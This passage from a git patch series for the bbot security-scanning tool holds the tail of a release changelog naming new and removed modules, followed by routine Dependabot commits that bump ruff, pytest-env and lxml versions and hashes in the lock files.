([#3074](https://github.com/blacklanternsecurity/bbot/pull/3074)). + +#### Modules + +**New:** + +- Output modules: MongoDB, Elastic, Kafka, RabbitMQ, ZeroMQ, and NATS. +- `legba` - credential brute-forcing across many services. +- `trajan` - scans GitHub, GitLab, Azure DevOps, Jenkins, and JFrog for misconfigurations. +- `virtualhost` - virtual-host fuzzing. +- `waf_bypass` - WAF-bypass detection. +- `shodan_enterprise` - Shodan Enterprise API integration. +- Hetzner object-storage bucket enumeration. + +**Removed:** wappalyzer, smuggler, digitorus, sitedossier, passivetotal, wpscan. + +**Notable improvements:** + +- Lightfuzz overhaul: new SSRF and ESI submodules, "try POST as GET," a default WAF filter, and a large false-positive reduction across padding-oracle, deserialization, and SQLi detection ([#2967](https://github.com/blacklanternsecurity/bbot/pull/2967), [#2950](https://github.com/blacklanternsecurity/bbot/pull/2950), [#2784](https://github.com/blacklanternsecurity/bbot/pull/2784)). +- webbrute reworked around HttpCompare baselines; paramminer dedup and wordlist cleanup; gowitness reliability fixes; concurrent probing in aspnet_bin_exposure ([#3166](https://github.com/blacklanternsecurity/bbot/pull/3166), [#3067](https://github.com/blacklanternsecurity/bbot/pull/3067), [#3180](https://github.com/blacklanternsecurity/bbot/pull/3180)). +- shodan_idb now enriches CVE findings with severity and CVSS ([#3082](https://github.com/blacklanternsecurity/bbot/pull/3082)). +- Bundled scanners and signatures updated (nuclei, trufflehog, baddns, badsecrets). + +#### Performance + +- Broad memory and CPU pass: bounded (LRU) DNS caches, HTTP response bodies stripped after processing, repeated strings interned, and reduced event-loop saturation and allocation pressure - meaningfully lower memory footprint on large scans ([#2953](https://github.com/blacklanternsecurity/bbot/pull/2953), [#3085](https://github.com/blacklanternsecurity/bbot/pull/3085), [#3088](https://github.com/blacklanternsecurity/bbot/pull/3088), [#3003](https://github.com/blacklanternsecurity/bbot/pull/3003), [#3002](https://github.com/blacklanternsecurity/bbot/pull/3002)). + +#### Security + +- Hardened pickle handling in webbrute_shortnames plus additional input-validation patches ([#3200](https://github.com/blacklanternsecurity/bbot/pull/3200), [#3196](https://github.com/blacklanternsecurity/bbot/pull/3196), [#3201](https://github.com/blacklanternsecurity/bbot/pull/3201)). + +#### Documentation + +- New 2.x to 3.0 migration guide and a full documentation refresh ([#3128](https://github.com/blacklanternsecurity/bbot/pull/3128)). + ### 2.8.6 - Jun 16, 2026 - 2.8.6 is expected to be the last 2.x release. Supported Python versions: 3.10-3.13. - [https://github.com/blacklanternsecurity/bbot/pull/3199](https://github.com/blacklanternsecurity/bbot/pull/3199) From bc35df1e0a52f38214be7e21059a849d9253aec5 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 16 Sep 2026 16:48:08 -0400 Subject: [PATCH 082/256] Bump ruff from 0.16.4 to 0.16.6 (#3432) Bumps [ruff](https://github.com/astral-sh/ruff) from 0.16.4 to 0.16.6. - [Release notes](https://github.com/astral-sh/ruff/releases) - [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md) - [Commits](https://github.com/astral-sh/ruff/compare/0.16.4...0.16.6) --- updated-dependencies: - dependency-name: ruff dependency-version: 0.16.6 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- pyproject.toml | 2 +- uv.lock | 44 ++++++++++++++++++++++---------------------- 2 files changed, 23 insertions(+), 23 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 8852eefc1f..8de00711b6 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -82,7 +82,7 @@ dev = [ "pytest-benchmark>=4,<6", "pytest-xdist>=3.6,<4", "baddns~=2.4.1", - "ruff==0.16.4", + "ruff==0.16.6", "maturin>=1.4,<2", ] docs = [ diff --git a/uv.lock b/uv.lock index 2d3db041a5..f2a1034655 100644 --- a/uv.lock +++ b/uv.lock @@ -315,7 +315,7 @@ dev = [ { name = "pytest-rerunfailures", specifier = ">=14,<17" }, { name = "pytest-timeout", specifier = ">=2.3.1,<3" }, { name = "pytest-xdist", specifier = ">=3.6,<4" }, - { name = "ruff", specifier = "==0.16.4" }, + { name = "ruff", specifier = "==0.16.6" }, { name = "urllib3", specifier = ">=2.0.2,<3" }, { name = "uvicorn", specifier = ">=0.32,<0.53" }, { name = "werkzeug", specifier = ">=2.3.4,<4.0.0" }, @@ -2904,27 +2904,27 @@ wheels = [ [[package]] name = "ruff" -version = "0.16.4" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/00/8f/d8074b1f25e003164087a8bfe79a0f1a3945135764dbb6aaab04103dcaf9/ruff-0.16.4.tar.gz", hash = "sha256:13171aa9d9af2240ee3504e639de73122c67e74036de5ba2e1d01422cd17e3dc", size = 4899731, upload-time = "2026-08-20T17:43:59.196Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/ff/80/779895ef584e089d22f2c6df0d0e99a65ec2df0805f1fffd439415b8c1f0/ruff-0.16.4-py3-none-linux_armv6l.whl", hash = "sha256:df4075f71ddac40b9934af60c3ec8a53047dd5a5fdc43224e6e4e8e9a27cb6f7", size = 10006909, upload-time = "2026-08-20T17:43:16.888Z" }, - { url = "https://files.pythonhosted.org/packages/a9/e6/f553199b5e8927a05cb5c422d921fd0656b29ab976e91c44802107c6b0da/ruff-0.16.4-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:0c95538517af68004306b0fb3214ff2f2af67a65092aee77cd9eb86db6656604", size = 10240201, upload-time = "2026-08-20T17:43:19.337Z" }, - { url = "https://files.pythonhosted.org/packages/1c/70/4a6dc4bb34da4dee35e30f09bbd1bfbdd26f33b62fb9b8df31f08a199cd2/ruff-0.16.4-py3-none-macosx_11_0_arm64.whl", hash = "sha256:963f83df8e69e575b64d67dd447ebbc917db41a14bf38d4593a4183e7aaa8255", size = 9835122, upload-time = "2026-08-20T17:43:21.708Z" }, - { url = "https://files.pythonhosted.org/packages/24/12/c6e22d686372c15bcb7af99831f1a1be96df696491babf4f24e4f942c527/ruff-0.16.4-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:32a5057c7ff3f6e6480a48fccfb3a412a690f48a3d03ac5cf08177d6c2da3ade", size = 9977162, upload-time = "2026-08-20T17:43:24.236Z" }, - { url = "https://files.pythonhosted.org/packages/46/49/72b10ec912f5ab5854992eaf7aa7cd36729b6937d9dc4e0fb41b3bf428ec/ruff-0.16.4-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b3dce8d9b0c57c265b91885a66a567d8ea1372e8eb4e250fa8e5e3f579e99cff", size = 9829789, upload-time = "2026-08-20T17:43:26.966Z" }, - { url = "https://files.pythonhosted.org/packages/fa/80/0f30e32e7f6ee26edc39075502db9d368d788a44a79b55f763eb4ab03796/ruff-0.16.4-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7dc651db49283c69f8e72c834eec4fe5573e4c646856aebece0ce385dceb2a80", size = 10527949, upload-time = "2026-08-20T17:43:29.384Z" }, - { url = "https://files.pythonhosted.org/packages/52/3d/86e8ad3542169e56cac3859a343afdb9df2ad54d35a59ce1e67baee83421/ruff-0.16.4-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3817b87dbcabc92f13b05019257c5b89b5b4d51b5fb20f56fb5235ceb723cd07", size = 11333695, upload-time = "2026-08-20T17:43:31.872Z" }, - { url = "https://files.pythonhosted.org/packages/d0/16/481c29b380c20a0054a8261066665e1b3488e23636c49d0a43e75975b9bb/ruff-0.16.4-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e9fce1499134b2c8c68e5166f95705a5812062bb93aacc5f9873bb1a27084bc7", size = 10727741, upload-time = "2026-08-20T17:43:34.596Z" }, - { url = "https://files.pythonhosted.org/packages/5e/b6/56bc0b8cf45b54b28b3a5e6381c8945d51b5b18adf659454c32295209a31/ruff-0.16.4-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f2d812e482f5a7e02eee26cd73d2a37ebbdf47d795ea63ba1b89110ae93e9fb3", size = 10286522, upload-time = "2026-08-20T17:43:37.288Z" }, - { url = "https://files.pythonhosted.org/packages/e8/8b/b345b4fb110f2fbe2bd31eabd271e5e8b3b7e4ee6c0e02f2dc6be78db000/ruff-0.16.4-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:6baaf984aa7976edf93d3b627fe2d1d22ee94bbca05fa6f90fc76d73924e3454", size = 10584182, upload-time = "2026-08-20T17:43:39.984Z" }, - { url = "https://files.pythonhosted.org/packages/29/e5/827b34041c35f58774a9681a4213994c164fc987800f4dddabcf451da0bf/ruff-0.16.4-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:bdfcf0b28662eb890372d50f92c283bb94e67e7635ed93c7fd533970acff7b2b", size = 10134195, upload-time = "2026-08-20T17:43:42.351Z" }, - { url = "https://files.pythonhosted.org/packages/0f/10/d0bffcdd6729b87afc82ba0ef377173356a7dc8e972f5179968cf2fdf98c/ruff-0.16.4-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:b66b02cb9b04f537643cadf5768e5f98dc461890d530cb67113d71c8c76e605d", size = 9825821, upload-time = "2026-08-20T17:43:44.532Z" }, - { url = "https://files.pythonhosted.org/packages/f5/32/0db2a863b796ca62d83e92a07a3ccf00921b14db02059347576a2fda3d4b/ruff-0.16.4-py3-none-musllinux_1_2_i686.whl", hash = "sha256:8528bf9a4b291a60bf02ea453511e8ce6215bd2b982ee80405b66b008b6c30a0", size = 10267658, upload-time = "2026-08-20T17:43:46.989Z" }, - { url = "https://files.pythonhosted.org/packages/b2/a0/fbdeb59e48c6261f523e56c8f12e9c08fbe693786595cc7e3959207a9232/ruff-0.16.4-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:fbd85d2875fdd67e833213a651f613bbf25303abf6aa822a5121f4531195678d", size = 10697071, upload-time = "2026-08-20T17:43:49.891Z" }, - { url = "https://files.pythonhosted.org/packages/aa/28/0c6dd865859c6d17bc8ccc34cb72b0e02d6c7eb25e8a1e22b5bea681e2c0/ruff-0.16.4-py3-none-win32.whl", hash = "sha256:312769988007aaeb8e189b443ccdd03c0e6374489e053467be6d96518ebff76e", size = 10021687, upload-time = "2026-08-20T17:43:52.281Z" }, - { url = "https://files.pythonhosted.org/packages/a3/03/e724450f621698117f9aa6dd241c94d0274ae96781378dc86745ae29f0e7/ruff-0.16.4-py3-none-win_amd64.whl", hash = "sha256:05d9d27a18c4bcbefada602480ec9e01e0bc949d432e0ced5df77edac195919c", size = 10567657, upload-time = "2026-08-20T17:43:54.78Z" }, - { url = "https://files.pythonhosted.org/packages/0e/fe/da8b9e1347696bb22120b77280ec5ce25d500ca5cb39d5ad6e5c18de19c1/ruff-0.16.4-py3-none-win_arm64.whl", hash = "sha256:a3a61621c9b6f6a89573e938a080e648f1695baa3f58570a3a707bc51ff65a21", size = 10451579, upload-time = "2026-08-20T17:43:57.135Z" }, +version = "0.16.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a4/7c/6adb35d70e7c027e308274557901c7e00fb3407750faf3620c184ae058cb/ruff-0.16.6.tar.gz", hash = "sha256:dcf8a73d2ff77e99dde91244b4da16feba7f14e6beeb4015dee7c5a909e99050", size = 4921251, upload-time = "2026-09-03T16:57:29.037Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a4/28/9cc1b79639e284ec103f43c88c644db4eb58cbd0ea1ca11f1193435369ac/ruff-0.16.6-py3-none-linux_armv6l.whl", hash = "sha256:61c368c26bf8e973e5ab14a2772de587bc068ea3f9a277f673380749b4898fb8", size = 10015638, upload-time = "2026-09-03T16:56:40.986Z" }, + { url = "https://files.pythonhosted.org/packages/71/11/627d342ef727ea7794edf74fe23d60a074b02c3acc2e9436684e782286ca/ruff-0.16.6-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:ecf4f068e2e123e43a26e9db4e19524cc56563912404e83bbfca375757e45a32", size = 10220762, upload-time = "2026-09-03T16:56:44.681Z" }, + { url = "https://files.pythonhosted.org/packages/43/d9/b75668ce41e4c8d073d18d6d08672ba6906ce45d5c06ea4fdb2e84ce3853/ruff-0.16.6-py3-none-macosx_11_0_arm64.whl", hash = "sha256:99b62ea33baf130f50368798d841f0d95527b6d817bf31817b65dd058f1d314c", size = 9835082, upload-time = "2026-09-03T16:56:47.142Z" }, + { url = "https://files.pythonhosted.org/packages/99/97/123ab10b05cde889c107c20f5a9774955104b5552796a2a8584b089ae8eb/ruff-0.16.6-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7fbf89013f2bb3f6835a6038ff658dc8a1b38c98dc8e724b964168ad4e881876", size = 9949304, upload-time = "2026-09-03T16:56:49.813Z" }, + { url = "https://files.pythonhosted.org/packages/3e/58/a4a2c59dd2e5b85929c912d9cac3056eb9ee8c7e75e9b9fe3e109174966b/ruff-0.16.6-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:56a67065e22efa6bc4d498299d3bb06c0c90aace8fac2068b5a12f9dc4d8d51d", size = 9840612, upload-time = "2026-09-03T16:56:52.368Z" }, + { url = "https://files.pythonhosted.org/packages/61/6a/ff8c8626a786c4f49d48ced4a752dadbca65f5263005f9c2416578194694/ruff-0.16.6-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e25cc89174874b176a157e4428d66761c2c0c006654419bf384f967f361ff1b1", size = 10543465, upload-time = "2026-09-03T16:56:55.089Z" }, + { url = "https://files.pythonhosted.org/packages/ad/bb/c47535923365f337b82e28192e4e9eef2176511007cfd99a62fc22df5dad/ruff-0.16.6-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0700580ed5303723cb3c11c2f1d2a8913ce77b7ea86646dddb887f5417a9ba70", size = 11267576, upload-time = "2026-09-03T16:56:57.791Z" }, + { url = "https://files.pythonhosted.org/packages/ba/50/e5119a5212b5cd63b51e1f4b25e7bd636a6668fc069a3160b108ad7e3c16/ruff-0.16.6-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:15f1d0b6e165a6e56567befb6629f8209271311d990bae0f37e6d065035ef5f3", size = 10781993, upload-time = "2026-09-03T16:57:00.666Z" }, + { url = "https://files.pythonhosted.org/packages/8b/98/083d8b4ef3c51a0d19db84367791cbe9f44e4b53343d19dfa83556e1cd9a/ruff-0.16.6-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d72c591a96986ee4268860e2b7235082129ca5e4cb9cbba653a4b57c11893757", size = 10317748, upload-time = "2026-09-03T16:57:03.428Z" }, + { url = "https://files.pythonhosted.org/packages/9a/29/68f7ff2c5ad95f19f00627ac2de95644e25fe47371ea60b2db1fd952315e/ruff-0.16.6-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:65a006baa18f33324325814c864daef03541d51564b98c517610ea756ab7003e", size = 10540096, upload-time = "2026-09-03T16:57:06.182Z" }, + { url = "https://files.pythonhosted.org/packages/c4/f9/79a8f6de85968641d68a7863aeec577551924ef066a990a48ff93167beab/ruff-0.16.6-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:cd02a7bf1a21a8735228a3e8c95a9dc5cf86bd2a52194f4aaae2a5755b4de0f4", size = 10100494, upload-time = "2026-09-03T16:57:09.194Z" }, + { url = "https://files.pythonhosted.org/packages/d9/e8/b81a22d9b90c00b892ccf2fa2ac36fa95de4c13ab85aea3e73795cfe4651/ruff-0.16.6-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:31b36f1e5ad85e0737f09d2be4e512e2e283583c14015da3b9dc07359ac0fc88", size = 9843663, upload-time = "2026-09-03T16:57:12.168Z" }, + { url = "https://files.pythonhosted.org/packages/39/aa/54f516ec5e5a11c4afdceb1c454ebb054ffb96e4f4a1705580b4346abd35/ruff-0.16.6-py3-none-musllinux_1_2_i686.whl", hash = "sha256:61029b4ab4aa723fd3064fab96b1d814492596bf0c792679fffcbde1e1679953", size = 10282461, upload-time = "2026-09-03T16:57:15.077Z" }, + { url = "https://files.pythonhosted.org/packages/52/0b/38d0aa8aa32372b96dc44f97b22e576c4147808271aab7b2cb1e353d4445/ruff-0.16.6-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:9ac8998457832c2061709d900856b7ad271dace0cb41f346588d540162bfa718", size = 10728808, upload-time = "2026-09-03T16:57:17.797Z" }, + { url = "https://files.pythonhosted.org/packages/5e/e5/9e274e24eeb027640ffc7442f21239f16d17f47acec15ae34f32e03a5c79/ruff-0.16.6-py3-none-win32.whl", hash = "sha256:0b87d9d16fcb63e8018423ca1d50b7260f15cb2da33e30db4baad4183a948c25", size = 10049212, upload-time = "2026-09-03T16:57:20.55Z" }, + { url = "https://files.pythonhosted.org/packages/22/31/72472449414223ed1a2da236b992adbb1a2ae59e34794574810f60ce068e/ruff-0.16.6-py3-none-win_amd64.whl", hash = "sha256:10d21c51c3495d8eaea7b703a16592117ea6eb1d649e36335aa965ff1173eb39", size = 10556402, upload-time = "2026-09-03T16:57:23.501Z" }, + { url = "https://files.pythonhosted.org/packages/fc/07/d781f8f8e1ac24bef9f3269cf62ffb1407ca24c3a8f12e5e22874f90528c/ruff-0.16.6-py3-none-win_arm64.whl", hash = "sha256:7a976c79b958f94e50a022a19f0f8c87387448020935ec14fc74331bd0a7f2c5", size = 10412850, upload-time = "2026-09-03T16:57:26.416Z" }, ] [[package]] From 0c6041462917e838bd48e4c1978c4425a0ac1786 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 16 Sep 2026 16:48:27 -0400 Subject: [PATCH 083/256] Bump pytest-env from 1.7.0 to 1.7.1 (#3436) Bumps [pytest-env](https://github.com/pytest-dev/pytest-env) from 1.7.0 to 1.7.1. - [Release notes](https://github.com/pytest-dev/pytest-env/releases) - [Commits](https://github.com/pytest-dev/pytest-env/compare/1.7.0...1.7.1) --- updated-dependencies: - dependency-name: pytest-env dependency-version: 1.7.1 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/uv.lock b/uv.lock index f2a1034655..48925f1c32 100644 --- a/uv.lock +++ b/uv.lock @@ -2369,16 +2369,16 @@ wheels = [ [[package]] name = "pytest-env" -version = "1.7.0" +version = "1.7.1" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "pytest" }, { name = "python-dotenv" }, { name = "tomli", marker = "python_full_version < '3.11'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/65/49/08ee056f9cc655e437abcf2ae399884844b623223476ae6a77244131db03/pytest_env-1.7.0.tar.gz", hash = "sha256:0c1dc1101fb8d3ab3611e8f8d657ba06c3c0c167fc85c90457e5b27f2508f43e", size = 16408, upload-time = "2026-07-21T13:09:21.834Z" } +sdist = { url = "https://files.pythonhosted.org/packages/32/72/d3e125d18f798b2968430b77dba991c69df354ec649db4c1480ac9bc2ab4/pytest_env-1.7.1.tar.gz", hash = "sha256:f2c5aed2621dbfc73c2866a710e2e456409495c5ac10905612c9509b3ee631a2", size = 17091, upload-time = "2026-09-08T14:49:44.487Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/3e/fc/9f2975c41d41bf5bd9a7d0fc03085ec20052b456b079df53828ae4a1b100/pytest_env-1.7.0-py3-none-any.whl", hash = "sha256:9ee0f1fe859d23fcdb533fe2909a404b3b133d02674a56df275bbe4df4eb104b", size = 10263, upload-time = "2026-07-21T13:09:20.677Z" }, + { url = "https://files.pythonhosted.org/packages/e9/82/fd9f2855bb9d48022942c2123f287d006b7569ae9b2cae8939f94a25fdf6/pytest_env-1.7.1-py3-none-any.whl", hash = "sha256:22341b945305b65ef4e53d7c678982cfd64b5c5800afdf7d37caad2362ea002c", size = 10361, upload-time = "2026-09-08T14:49:43.288Z" }, ] [[package]] From 58f59f882655d94a7885c6edb5b446d93a6998a2 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 16 Sep 2026 16:57:18 -0400 Subject: [PATCH 084/256] Bump lxml from 6.1.2 to 6.1.3 (#3422) Bumps [lxml](https://github.com/lxml/lxml) from 6.1.2 to 6.1.3. - [Release notes](https://github.com/lxml/lxml/releases) - [Changelog](https://github.com/lxml/lxml/blob/master/CHANGES.txt) - [Commits](https://github.com/lxml/lxml/compare/lxml-6.1.2...lxml-6.1.3) --- updated-dependencies: - dependency-name: lxml dependency-version: 6.1.3 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 240 ++++++++++++++++++++++++++++---------------------------- 1 file changed, 120 insertions(+), 120 deletions(-) diff --git a/uv.lock b/uv.lock index 48925f1c32..4e63637293 100644 --- a/uv.lock +++ b/uv.lock @@ -1344,126 +1344,126 @@ wheels = [ [[package]] name = "lxml" -version = "6.1.2" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/ad/a9/970b8fa0ecc4fbf1dfaed0d89bbc1fc1421b25ec26a2038c91e872dc6c8e/lxml-6.1.2.tar.gz", hash = "sha256:1055241852f2b02068af4a625a5d32c087db193c12251928af2562ecd2239f18", size = 4210626, upload-time = "2026-08-19T04:58:15.341Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/a6/37/6f7d794e93c62cf40025426a6222c08a6ee620b605c3f10f1537dac491ff/lxml-6.1.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:522387e05cd015a81d1dc621fb167fb42b8f629ccd2e8b39de583828f165aae6", size = 8575493, upload-time = "2026-08-19T04:58:23.411Z" }, - { url = "https://files.pythonhosted.org/packages/08/f5/6867418bf427a6b3e9595ac157eb21c850e7e5d8b9d74bead2cc0d3fc6b2/lxml-6.1.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d86130d70a2557cdf825dffc56255f1f16b83a7bbeab677b4cd040c4c53d8c52", size = 4619345, upload-time = "2026-08-19T04:58:26.355Z" }, - { url = "https://files.pythonhosted.org/packages/0b/f6/23281da5470fbad09c34936df331dcb5eb81edfa21428ea4ebeabfccba67/lxml-6.1.2-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:08cd52e6487435c75f2da0a5b276beef7fed161681b93ab766e66b954f0c349a", size = 5015466, upload-time = "2026-08-19T04:58:28.794Z" }, - { url = "https://files.pythonhosted.org/packages/a7/47/6aa8bb3c1b365f02bcd03a2618695906cd08e989fc3cb8f958476dd6e3bf/lxml-6.1.2-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:785761d5123f222cd97f2263a510107226fe32ce7aa7824a90616a41c574ace1", size = 5168503, upload-time = "2026-08-19T04:58:44.125Z" }, - { url = "https://files.pythonhosted.org/packages/62/87/298b9e3cd647ad027af6d6e0d57e92313c1fa427ad46cb8fac38d013e451/lxml-6.1.2-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ae520f189895c5dd7eeb2b7a372d464da6f4a1ba1d0ecb741b1d4fe4c1f699ac", size = 5067860, upload-time = "2026-08-19T04:59:16.65Z" }, - { url = "https://files.pythonhosted.org/packages/b6/5d/7770088b7323c595770a61cd9b87cf40f3c9ef763eba6622ad681e9a2d89/lxml-6.1.2-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:83e7510a6dda8df41d1b68b783de2953b3feb55a11dcebf693201ebaa5cc0c4a", size = 5296802, upload-time = "2026-08-19T04:59:22.759Z" }, - { url = "https://files.pythonhosted.org/packages/46/06/818ed8caa380d47a24743260a74a010bd6215f7fb8099736562cc4dd9bde/lxml-6.1.2-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:c20fa05d128c463209ef5323ebf33ee1cac6d87cdc3933fd789fd3c101017c8e", size = 5424636, upload-time = "2026-08-19T04:59:29.235Z" }, - { url = "https://files.pythonhosted.org/packages/4b/0d/5012ab60d5789da55d9fe1cf42326ac9c959948db6d58430932f039ef8aa/lxml-6.1.2-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:e7269cc410f3cdf84a66914fc0ef54b1618115c87fb4f9a59a05c5dfc23bece1", size = 4783670, upload-time = "2026-08-19T04:59:38.887Z" }, - { url = "https://files.pythonhosted.org/packages/3d/72/9b60a579b4e6cadfabe73137a408b3b5ed4e66d9f4de1c65ba2d720c7f0e/lxml-6.1.2-cp310-cp310-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b7233a987a101bdf79059014130262a01339094a0a709f175162542f33b55d4e", size = 5373226, upload-time = "2026-08-19T04:59:57.71Z" }, - { url = "https://files.pythonhosted.org/packages/da/dc/2a2029e4207b9cf7c40a2034b1f23e0a7405fb299aa607ddda1c556972b3/lxml-6.1.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:ee23f6599682bd4d48bb757c0633e78774eedfb65a7e52851f9ad182eeeb625e", size = 5116503, upload-time = "2026-08-19T05:00:06.23Z" }, - { url = "https://files.pythonhosted.org/packages/a5/63/fea5bdb16cf6fa99e44b23f5ac864f8f6e292e254973322f04efe2808958/lxml-6.1.2-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:e062f5ac1255dfa6c98e3e3863ec18bc79d0947d22d08921a3ca60cee40559fd", size = 4814057, upload-time = "2026-08-19T05:00:18.145Z" }, - { url = "https://files.pythonhosted.org/packages/14/40/7129ace48559c4b9d2c23be4acca07d5763e0ecc01f8d4ff2f07a325989a/lxml-6.1.2-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:cb0cf498efa3204621b3c5576f0accd80ad2ee85575f1cae5d2f98de32c8d9cc", size = 5361605, upload-time = "2026-08-19T05:00:23.91Z" }, - { url = "https://files.pythonhosted.org/packages/58/52/d14161a2be7eff8525214060a2350d76422f1697839a5fcc933e272a08aa/lxml-6.1.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:ee7410c98222070fd717ad881ee2a80cc11826b7001b9a5a807155d8918bfc7a", size = 5321744, upload-time = "2026-08-19T05:00:40.187Z" }, - { url = "https://files.pythonhosted.org/packages/36/53/46849b3250063701ec30a9905a5c928f016f09dba3743bb69ed433433db4/lxml-6.1.2-cp310-cp310-win32.whl", hash = "sha256:aa224ecc613d411690aa650dbf01daafbe385cd6c67145e80bc5fc01b3a71469", size = 3604437, upload-time = "2026-08-19T05:00:50.125Z" }, - { url = "https://files.pythonhosted.org/packages/1e/83/0e506436ef9fd7ec9e25bd31a3f18eb8103f5c8e639892ef2fedf3f4dc40/lxml-6.1.2-cp310-cp310-win_amd64.whl", hash = "sha256:1c0173595dc1c25768f42681a1517dcfc74bb18a34695f127931cbd05f4dead6", size = 4029081, upload-time = "2026-08-19T05:00:56.329Z" }, - { url = "https://files.pythonhosted.org/packages/f3/2a/a3e037aa6f24d3addfbc62875dc44d5a007127a2cf519c1c40fdc110536d/lxml-6.1.2-cp310-cp310-win_arm64.whl", hash = "sha256:adbecbfe44a497c742792457b1c27300617967c18c3934d2416023eba8d8c553", size = 3674566, upload-time = "2026-08-19T05:01:04.572Z" }, - { url = "https://files.pythonhosted.org/packages/8d/2d/c292b75049d8b919a515a439646307b971a5f72cd99aaf77d59c9a99e7c4/lxml-6.1.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:da6a4f55f0e3308c07354b1ee239c5550afc212f81629a6067db505ace3b667a", size = 8563059, upload-time = "2026-08-19T04:58:26.559Z" }, - { url = "https://files.pythonhosted.org/packages/69/55/16395f232cb28182c72a1fb4d9d187163fd05a581a98c37f33e945b77a6d/lxml-6.1.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:4f4d2c36fd5997d30ff19c29fb93293401d0daaf87512297d47610e6883964b5", size = 4613599, upload-time = "2026-08-19T04:58:30.589Z" }, - { url = "https://files.pythonhosted.org/packages/08/20/a65a084596ccd7fd1ed0668b4cf3b68e700da4eac830a0f22ac569f19a73/lxml-6.1.2-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:1d55a614d2f0457b1f7511c1b7bec0db0dcdd4af4d09d226829eb054c647527c", size = 4935619, upload-time = "2026-08-19T04:58:45.181Z" }, - { url = "https://files.pythonhosted.org/packages/e1/35/008bf5a5f8809a90a3e62909d8d4458f09b7c034c365b508990bdc38b5b7/lxml-6.1.2-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:575fef7f30048b744dffb3e4ff64a18cac7dba3fd26efdea5730ade9d1bdeb33", size = 5078913, upload-time = "2026-08-19T04:58:53.376Z" }, - { url = "https://files.pythonhosted.org/packages/4f/cf/041b4c15ba3b0421ed828af60993f23cf6e5ea8801efb773b19e248fc6a5/lxml-6.1.2-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:79b428c3242e63bdacf3b526a34e0b8b26583846fc597da84b8f0c3d5ea446b2", size = 5012236, upload-time = "2026-08-19T04:59:06.663Z" }, - { url = 